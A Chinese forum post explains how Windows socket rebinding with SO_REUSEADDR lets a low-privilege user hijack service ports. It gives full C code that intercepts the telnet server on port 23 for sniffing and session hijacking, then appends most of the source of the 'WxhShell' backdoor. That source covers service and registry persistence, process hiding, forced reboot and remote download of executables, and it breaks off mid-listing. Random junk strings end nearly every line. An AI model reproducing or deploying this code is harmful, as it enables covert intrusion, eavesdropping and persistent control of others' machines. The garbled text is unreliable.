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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h`@z61UI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KKRj#m(:!  
\gW6E^  
  saddr.sin_family = AF_INET; j9r%OZw{  
Q>yO,H|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [sXn B$  
] :.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r}4   
KX^!t3l6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t!&p5wJ*Q  
!CUy{nV  
  这意味着什么?意味着可以进行如下的攻击: GTocN1,Z~a  
f5`q9w_c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,GY K3+}Z  
[!S%nYs&8L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ($X2SIZh  
m:W+s4!E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r]B`\XWz  
G@4n]c_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (Rs|"];?Z  
vPSY 1NC5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WX&0;Kr  
G Tz>}@W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mcb|N_#n/  
(,j ~s{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hbSXa'  
h @2.D|c)g  
  #include Vwpy/5Hmp  
  #include n48%Uwa,  
  #include Blox~=cW  
  #include    tL\L4>^7T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x4CSUcKb  
  int main() vduh5.  
  { 9!,f4&G`  
  WORD wVersionRequested; /ptG  
  DWORD ret; X?z CB  
  WSADATA wsaData; XNr8,[c  
  BOOL val; 9`Y\`F#}q  
  SOCKADDR_IN saddr; IWT -)+  
  SOCKADDR_IN scaddr; ZRP[N)Ld$  
  int err; Y?4N%c_;  
  SOCKET s; j-k]|0ea}  
  SOCKET sc; lbj_ if;  
  int caddsize; swfjKBfw+g  
  HANDLE mt; wqF_hs(O  
  DWORD tid;   ~0YRWM;  
  wVersionRequested = MAKEWORD( 2, 2 ); Is(ZVI  
  err = WSAStartup( wVersionRequested, &wsaData ); .F]"%RK[  
  if ( err != 0 ) { <y<   
  printf("error!WSAStartup failed!\n"); ja%IGaH;s  
  return -1; 2Xqa?ay0>  
  } eEX*\1Gg  
  saddr.sin_family = AF_INET; D"<>! ]@(a  
   (L,>P`CR6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -cB>; f)5r  
]owcx=5q%'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V?r(;x  
  saddr.sin_port = htons(23); $|o[l.q2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |!xqkmX  
  { OP98sd&T  
  printf("error!socket failed!\n"); uC5W1LyI  
  return -1; p&lT! 5P!A  
  } ,F?O} ijk  
  val = TRUE; ;tWi4iT+.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _53N uEM1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;BW-ag \9  
  { 8.tp#x,A  
  printf("error!setsockopt failed!\n"); L[. )!c8k  
  return -1; psAr>:\3  
  } _YA;Nd#%k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wT&P].5n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K{`3,U2Wx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  <xwaFZ  
"64D.c(r$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qj*77  
  { <(x!P=NM-  
  ret=GetLastError(); nzl3<Ar  
  printf("error!bind failed!\n"); :Y[?@/m4  
  return -1; xX\A& 9m  
  } w!/|aZ~*  
  listen(s,2); Ht7v+lY90^  
  while(1) %!V=noo  
  { GQ1m h*4$  
  caddsize = sizeof(scaddr); RsnFjfb'  
  //接受连接请求 gjPbhY=C[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g acE?bW'  
  if(sc!=INVALID_SOCKET) AxiCpAS;J  
  { t ybM3VA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RO8]R2A  
  if(mt==NULL) PaBqv]  
  { fK5iOj'Q  
  printf("Thread Creat Failed!\n"); Rqun}v}  
  break; vf h*`G$  
  } M*<Bp   
  } r=ht:+m  
  CloseHandle(mt); cE3V0voSw1  
  } ? W2W y\  
  closesocket(s); r&O:Bt}x  
  WSACleanup(); rB-}<22.  
  return 0; "kg?Or.  
  }   c\N-B,m&  
  DWORD WINAPI ClientThread(LPVOID lpParam) p&cJo<]=LE  
  { 9I*i/fa  
  SOCKET ss = (SOCKET)lpParam; !kWx'tJ$  
  SOCKET sc; cQ`+ A|q  
  unsigned char buf[4096]; 0 rilg  
  SOCKADDR_IN saddr; Vf` 9[*j  
  long num; cB2jf</  
  DWORD val; fXB64MNo  
  DWORD ret; K&%YTA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9 p`|~^X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I#GsEhi  
  saddr.sin_family = AF_INET; \++#adN:K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); br7_P1ep  
  saddr.sin_port = htons(23); hG>3y\!#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'sN (=CQ  
  { zXT[}J VV  
  printf("error!socket failed!\n"); _|KeB(W  
  return -1; )! C|DSw  
  } (#VF>;;L  
  val = 100; Bt1 &C?_$T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Tsl0$(2W  
  { "jAEZ  
  ret = GetLastError(); #{Gojg`5O  
  return -1; Y )9]I6n7  
  } QTuj v<|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uJ>_ 2  
  { = ms o1  
  ret = GetLastError(); Czt>?8x`  
  return -1; ~0ZLaiJ  
  } ,?>:Cdz4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) te8lF{R  
  { ]x`I@vSf7R  
  printf("error!socket connect failed!\n"); 7|$ H}$  
  closesocket(sc); x\!Uk!fM  
  closesocket(ss); jBnvu@K"  
  return -1; x#&%lJT  
  } rw]*Nxgr  
  while(1) ]{E{ IW8  
  { qC$h~Epp4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^fbw0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Jz'8|o;^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J3#  
  num = recv(ss,buf,4096,0); ,K[}Bz  
  if(num>0) parc\]M  
  send(sc,buf,num,0); AHtLkfr(r  
  else if(num==0) Q7@ m.w%`  
  break; qaN%&K9F8  
  num = recv(sc,buf,4096,0); oB]   
  if(num>0) U0t~H{-H  
  send(ss,buf,num,0); qra5&Fvb  
  else if(num==0) >aV Q  
  break; ^q ?xi5 w  
  } >XiTl;UU  
  closesocket(ss); SSG}'W!z  
  closesocket(sc); mtu`m6Xix  
  return 0 ; a]u1_ $)  
  } /?Fa<{  
fxL0"Ry  
~LuR)T=%es  
========================================================== KgMW  
Xv1mjHZCC  
下边附上一个代码,,WXhSHELL qOd*9AS'|M  
=/]d\JSp  
========================================================== ,6FmU$ Kn  
6Y(Vs>  
#include "stdafx.h" 0(~,U!g[=  
*1fZcw'C.  
#include <stdio.h> Ib665H7w  
#include <string.h> @ I$;  
#include <windows.h> tZn=[X~Vw@  
#include <winsock2.h> Z )f\^  
#include <winsvc.h> <!M ab}  
#include <urlmon.h> 6 su^yt  
-H;p +XAY  
#pragma comment (lib, "Ws2_32.lib") -Y"'=zkO  
#pragma comment (lib, "urlmon.lib") @(_M\>!%M  
auP6\kpMe  
#define MAX_USER   100 // 最大客户端连接数 GMO|A.bzzN  
#define BUF_SOCK   200 // sock buffer (0/)vZc  
#define KEY_BUFF   255 // 输入 buffer drZ1D s  
V`MV_zA2  
#define REBOOT     0   // 重启 s=xJcLA  
#define SHUTDOWN   1   // 关机 4 9zOhG |  
[$b\#{shtP  
#define DEF_PORT   5000 // 监听端口 U~e^  
!\%0O`b^4  
#define REG_LEN     16   // 注册表键长度 8=h$6=1S  
#define SVC_LEN     80   // NT服务名长度 :Sj r  
7>Oa, \  
// 从dll定义API |:?JSi0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *l-(tp5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )FfJ%oT}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jS,zdJs=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #r4S%  
ihr l!A5  
// wxhshell配置信息 +o\s |G|l  
struct WSCFG { N7`<t&T@  
  int ws_port;         // 监听端口 'F665  
  char ws_passstr[REG_LEN]; // 口令 N<54_(|X  
  int ws_autoins;       // 安装标记, 1=yes 0=no mVBF2F<4  
  char ws_regname[REG_LEN]; // 注册表键名 ]JXpe]B  
  char ws_svcname[REG_LEN]; // 服务名 5c~OG6COx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )FG<|G(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C/!c?$J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K(M@#t1_&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !MiH^wP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V\V:uo(C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ] EzX$T  
'r5[tK}  
}; m8|&z{  
)@]Y1r4U  
// default Wxhshell configuration <2Qh5umQ  
struct WSCFG wscfg={DEF_PORT, ;uC +5g`  
    "xuhuanlingzhe", +'NiuN  
    1, @fH?y Z=>  
    "Wxhshell", kM`!'0kt  
    "Wxhshell", h*qoe(+ZD  
            "WxhShell Service", 'e(`2  
    "Wrsky Windows CmdShell Service", ?*~Pgh >uL  
    "Please Input Your Password: ", .7HnWKUV  
  1, !1H\*VM "  
  "http://www.wrsky.com/wxhshell.exe", ,DT =(  
  "Wxhshell.exe" 96.A8o  
    }; v&>TU(x\H  
_/)?GXwLn  
// 消息定义模块 UJ'}p&E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H...!c1M@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?V}AwLX}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^'|\8  
char *msg_ws_ext="\n\rExit."; MpV6Vbp  
char *msg_ws_end="\n\rQuit."; (]yOd/ru/C  
char *msg_ws_boot="\n\rReboot..."; *1L;%u| [  
char *msg_ws_poff="\n\rShutdown..."; @a1+  
char *msg_ws_down="\n\rSave to "; ?'_Q^O>  
z5CWgN  
char *msg_ws_err="\n\rErr!"; q?=eD^]  
char *msg_ws_ok="\n\rOK!"; c !ybz{L  
"/)}Cc,L  
char ExeFile[MAX_PATH]; z.9 #AN=&[  
int nUser = 0; AID}NQ Qj_  
HANDLE handles[MAX_USER]; "KY9MBzPD  
int OsIsNt; ?`hk0qX3  
o 6$Q>g`]  
SERVICE_STATUS       serviceStatus; 3f{%IU(z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J!QzF)$4J  
"Iy @PR?>  
// 函数声明 'CDRb3w}B  
int Install(void); [1Dg_>lz  
int Uninstall(void); oy-Qy  
int DownloadFile(char *sURL, SOCKET wsh); h<wF;g,  
int Boot(int flag); &pZUe`3  
void HideProc(void); uW&P1 'X  
int GetOsVer(void); 9^m&  [Z  
int Wxhshell(SOCKET wsl); 4:=eO!6  
void TalkWithClient(void *cs); 8u::f`vi  
int CmdShell(SOCKET sock); MR90}wXE  
int StartFromService(void); 4=H/-v'&  
int StartWxhshell(LPSTR lpCmdLine); [`^x;*C  
iaR^]|7_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :v k+[PzJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =s P6  
A#mf*]'  
// 数据结构和表定义 R{r0dK"_  
SERVICE_TABLE_ENTRY DispatchTable[] = -IR9^)  
{ \^wI9g~0  
{wscfg.ws_svcname, NTServiceMain}, W39R)sra  
{NULL, NULL} lA39$oJ  
}; 3ySP*J5  
'iN8JO>  
// 自我安装 877>=Tp |  
int Install(void) 2#nn}HEOC  
{ w+cI0lj  
  char svExeFile[MAX_PATH]; Q:]F* p2  
  HKEY key; 3<x_[0v`K1  
  strcpy(svExeFile,ExeFile); p&F=<<C  
P X](hc=  
// 如果是win9x系统,修改注册表设为自启动 _4z>I/R>Z  
if(!OsIsNt) { ?K7m:Dx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V#W(c_g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TA=Ij,z~  
  RegCloseKey(key); S:] w@$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nMc d(&`N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EIl _QV6  
  RegCloseKey(key); O{rgZ/4Au  
  return 0; Rww"Z=F  
    } r+HJ_R,5A  
  } &X^~%\F:2  
} !+cRtCaA::  
else { ru)%0Cyx  
d}b# "A  
// 如果是NT以上系统,安装为系统服务 f#414ja  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -5A@FGh  
if (schSCManager!=0) muQ7sJ9 r  
{ ;w?zmj<Dm  
  SC_HANDLE schService = CreateService &l%#OI}OE  
  ( 4EuZe:'X  
  schSCManager, tkWWR%c"  
  wscfg.ws_svcname, aO'$}rDf$  
  wscfg.ws_svcdisp, L[+65ce%*  
  SERVICE_ALL_ACCESS, t09,X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '<m[  
  SERVICE_AUTO_START, tiwhG%?2  
  SERVICE_ERROR_NORMAL, }6eWdm!B  
  svExeFile, n$}c+1   
  NULL, P/t$xqAL  
  NULL, A]B D2   
  NULL, NF0} eom  
  NULL, Vm&fw".J  
  NULL @ky5X V  
  ); G <m{o  
  if (schService!=0) LL-MZ~ZB  
  { h vGb9  
  CloseServiceHandle(schService); 4MRHz{`wa  
  CloseServiceHandle(schSCManager); CN: 36  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cX1"<fD o  
  strcat(svExeFile,wscfg.ws_svcname); 9n!3yZVSe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z;'"c3qG8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t,R5FoV  
  RegCloseKey(key); )T?w,"kI  
  return 0; LPT5d 7K@  
    } ,[+gE\z{{u  
  } vC\]7]mC  
  CloseServiceHandle(schSCManager);  7P]_03  
} ` M"Zq  
} R^dAwt`.D  
2hf]XV\  
return 1;  2c!?!:s  
} W3 2mAz;  
Ik=KEOz  
// 自我卸载 61T"K  
int Uninstall(void) qVJV9n  
{ J_U1eSz<j  
  HKEY key; {Ca#{LeLk  
:?jOts>uP  
if(!OsIsNt) { nb'],({:9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qo)>i0  
  RegDeleteValue(key,wscfg.ws_regname); ^5u}   
  RegCloseKey(key); sh}=#eb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PWLMux  
  RegDeleteValue(key,wscfg.ws_regname); >F,~QHcz  
  RegCloseKey(key); VILzx+v M  
  return 0; (sO;etW  
  } R$(,~~MH  
} <+sv7"a  
} #(bMZ!/(  
else { lGjmw"/C  
Hc^b}A y7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uh?SDay  
if (schSCManager!=0) T -C2V$1  
{ GIo&zPx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5x4JDaG2  
  if (schService!=0) E+>Qpy  
  { J9I!d.U  
  if(DeleteService(schService)!=0) { "]5]"F4]  
  CloseServiceHandle(schService); hRxR2  
  CloseServiceHandle(schSCManager); v?!x,H$Qd  
  return 0; 69r<Z  
  } x1$fkNu  
  CloseServiceHandle(schService); aQ]C`9k  
  } gjvKrg  
  CloseServiceHandle(schSCManager); *'PG@S  
} Jan73AOX  
} '(&.[Pk:"  
6BLw 4m=h  
return 1; `IkWS7|  
} s+C&\$E  
^#lPXC Bg  
// 从指定url下载文件 n/S1Hae`  
int DownloadFile(char *sURL, SOCKET wsh) N!/^s":  
{ z930Wi{@  
  HRESULT hr; h+CTi6-p  
char seps[]= "/"; ,V.X-`Y  
char *token; 5sFp+_``  
char *file; [=7|LH jU  
char myURL[MAX_PATH]; #s)6u?N  
char myFILE[MAX_PATH]; kVy%y"/  
@aY 8VL7C0  
strcpy(myURL,sURL); g G~UsA  
  token=strtok(myURL,seps); t~Cul+  
  while(token!=NULL) z[}[:H8  
  { =+'4u  
    file=token; EFqWnz  
  token=strtok(NULL,seps); @lDoMm,m'  
  } j5G8IP_Wx  
`kVy1WiY  
GetCurrentDirectory(MAX_PATH,myFILE); C:0Ra^i ?L  
strcat(myFILE, "\\"); DE^{8YX,  
strcat(myFILE, file); K.",=\53  
  send(wsh,myFILE,strlen(myFILE),0); HPg@yx"U  
send(wsh,"...",3,0); 80&JEtRh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,g 6w2y7 ]  
  if(hr==S_OK) /b@8#px  
return 0; tO)mKN+ (  
else 2^E.sf$f  
return 1; e%U0^! 8  
vtv|H  
} 5yuj}/PZ  
xWU0Ev)4U  
// 系统电源模块 D7olu29  
int Boot(int flag) &^{HD }/{b  
{ GFYAg  
  HANDLE hToken; k3}|^/bHJ  
  TOKEN_PRIVILEGES tkp; L#M9!  
r|{h7'  
  if(OsIsNt) { (@p E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >|/NDF=\s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7Xw;TA  
    tkp.PrivilegeCount = 1; # ~} 26  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bezT\F/\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uv/I`[@HK8  
if(flag==REBOOT) { k*w]a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ky8sLm@  
  return 0; im Zi7o  
} 3uZY.H+H  
else { ^j0Mu.+_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V&eti2 &zO  
  return 0; UMma|9l(i  
} Gvb>M=9  
  } wbyY?tH  
  else { R/Mwq#xUb  
if(flag==REBOOT) { ?nn`ud?f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o6 'I%Gs  
  return 0; z+@aQ@75  
} &<_*yl p  
else { A{bt Z#k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qb]n{b2  
  return 0; UwvGw5)q  
} `M6!V  
} E*:!G  
1j`-lD  
return 1; M$B9?N6  
} lQ<2Vw#Yl  
+\fr3@Yc  
// win9x进程隐藏模块 =!*e; L  
void HideProc(void) j#f+0  
{ C\ZL*,%}  
2%m H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0~iC#lHO  
  if ( hKernel != NULL ) zcF~6-aQ  
  { o+4/L)h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `TYQ^Zm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %g5TU 6WP  
    FreeLibrary(hKernel); w9rwuk  
  } h3Nwxj~E  
@{iws@.  
return; j6%X  
} 9z$]hl  
WS/^WxRY  
// 获取操作系统版本 n#uH^@#0  
int GetOsVer(void) +iz5%Qe<f  
{ 5Q#;4  
  OSVERSIONINFO winfo; w},' 1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DJ_,1F  
  GetVersionEx(&winfo); # =V%S 2~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I= G%r/3  
  return 1; u_;*Ay  
  else MUhC6s\F  
  return 0; w,bILv)  
} QM\v ruTB  
D>+&= 5{  
// 客户端句柄模块 iS&~oj_-%  
int Wxhshell(SOCKET wsl) jV]'/X<  
{ 4EQ7OGU  
  SOCKET wsh; MqGF~h|+  
  struct sockaddr_in client; |5 _bFB+&  
  DWORD myID; bZHuEh2w  
8c(}*,O/  
  while(nUser<MAX_USER) Z.am^Q^Y!  
{ A{iI,IFe  
  int nSize=sizeof(client); X,: pT\G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T]Gxf"mK  
  if(wsh==INVALID_SOCKET) return 1; C)~YWx@v  
x%23oPM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `zGK$,[%  
if(handles[nUser]==0) 3 $ cDC8  
  closesocket(wsh); =2] .G Gg  
else dB+x,+%u+  
  nUser++; ?VrZM  
  } r5jiB L~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >!s =f  
$/90('D  
  return 0; f#_XR  
} kT@RA}  
'@>FtF[Gu  
// 关闭 socket SweaE Rl  
void CloseIt(SOCKET wsh) I<e[/#5P\`  
{ / d=i 0E3  
closesocket(wsh); r=Z#"68$  
nUser--; Rp4EB:*  
ExitThread(0); !%5ae82~3  
} X&o!xV -+  
[t*m$0[:  
// 客户端请求句柄 \kqa4{7U(  
void TalkWithClient(void *cs) 3G9"La,b  
{ |7,|-s[R^  
no- Lx-x  
  SOCKET wsh=(SOCKET)cs; , mEFp_a+  
  char pwd[SVC_LEN]; %;yDiQ!+  
  char cmd[KEY_BUFF]; 34-QgE  
char chr[1]; >8_#L2@  
int i,j; s `HSTq2  
E/|]xKG  
  while (nUser < MAX_USER) { 5tT-[mQ*  
agQzA/Xt  
if(wscfg.ws_passstr) { 0L"CM?C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j!q5Bc?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZHUA M59bx  
  //ZeroMemory(pwd,KEY_BUFF); qg#TE-Y`  
      i=0; lc>)7UF  
  while(i<SVC_LEN) { Qmle0ae  
Uhfm@1 cz&  
  // 设置超时 'bGL@H  
  fd_set FdRead; i#$9>X  
  struct timeval TimeOut; -FytkM^]6  
  FD_ZERO(&FdRead); yn<H^c  
  FD_SET(wsh,&FdRead); FL% GW:  
  TimeOut.tv_sec=8; CnruaN@  
  TimeOut.tv_usec=0; ?jbE3fW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *( YtO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yr@_X  
2ME"=! &5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0JQy-hpF  
  pwd=chr[0]; :_JZn`Cab  
  if(chr[0]==0xd || chr[0]==0xa) { IG0$OtG  
  pwd=0; :VP4|H#SP  
  break; j89|hG)2  
  } tRRPNY  
  i++; LuY`mi  
    } ?Y+xuY/t  
jK/2n}q&]  
  // 如果是非法用户,关闭 socket H1_XEcaM+*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s|rlpd4y  
} (__=*ew  
K]' 84!l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t5mI)u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yaD<jc(O  
Os^sOOSY  
while(1) { vzK*1R5  
|7]7~ 6l  
  ZeroMemory(cmd,KEY_BUFF); Ou</{l/  
' Bb]< L`  
      // 自动支持客户端 telnet标准   Epj  
  j=0; J_YbeZ]  
  while(j<KEY_BUFF) { 3{RuR+yi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ";}Lf1M9  
  cmd[j]=chr[0]; @*q WV*$h  
  if(chr[0]==0xa || chr[0]==0xd) { v'Ce|.;  
  cmd[j]=0; *F*c  
  break; D5fJuT-bp  
  } W/ZmG]sZE  
  j++; #q`[(`Bx  
    } 9C}Ie$\  
R~8gw^w![  
  // 下载文件 (Z5=GJM?$  
  if(strstr(cmd,"http://")) { tagkklJ~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u':-DgK  
  if(DownloadFile(cmd,wsh)) <HM\ZDo@P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +jYO?uaT  
  else 8^M5k%P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Z+tb]  
  } (A O]f fBU  
  else { ,/6V^K  
/Y5I0Ko Uw  
    switch(cmd[0]) { ,{:c<W:A]  
  8(3'YNC  
  // 帮助 ~fw 6sY#  
  case '?': { HmKvu"3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Yao>F--?  
    break; 5x?eu n  
  } (UDF^  
  // 安装 QEL^0c8~  
  case 'i': { )~xL_yW_X  
    if(Install()) IF~i*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :0IxnK(r&  
    else `GOxFDB.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tk"L2t  
    break; ;KJJK#j  
    } kRs[H xI3  
  // 卸载 ~r;da9  
  case 'r': { %y.9S=,v,  
    if(Uninstall()) &;L4Cj$ q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }MP2)6  
    else FP<RoA? W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KJWYG^zI  
    break; f gI.q  
    } P`6 T;|VDk  
  // 显示 wxhshell 所在路径 75i M_e\  
  case 'p': { w,TyV%b[_  
    char svExeFile[MAX_PATH]; !+Z"7e nj  
    strcpy(svExeFile,"\n\r"); A Ntp7ad  
      strcat(svExeFile,ExeFile); X<@ytHBv  
        send(wsh,svExeFile,strlen(svExeFile),0); 6 GX'&z  
    break; N[X%tf\L]F  
    } rg+28tlDn  
  // 重启 S!.aBAW  
  case 'b': { #n%?}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nN>D=a"&F  
    if(Boot(REBOOT)) 3U<\y6/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0h!2--Aur  
    else { zOYkkQE3mJ  
    closesocket(wsh); S+>&O3m  
    ExitThread(0); `%;n HQ"  
    } :,rD5a OQ  
    break; Fn$/ K  
    } Nge_ Ks  
  // 关机 WI9'$hB\  
  case 'd': { )?~3fb6^  
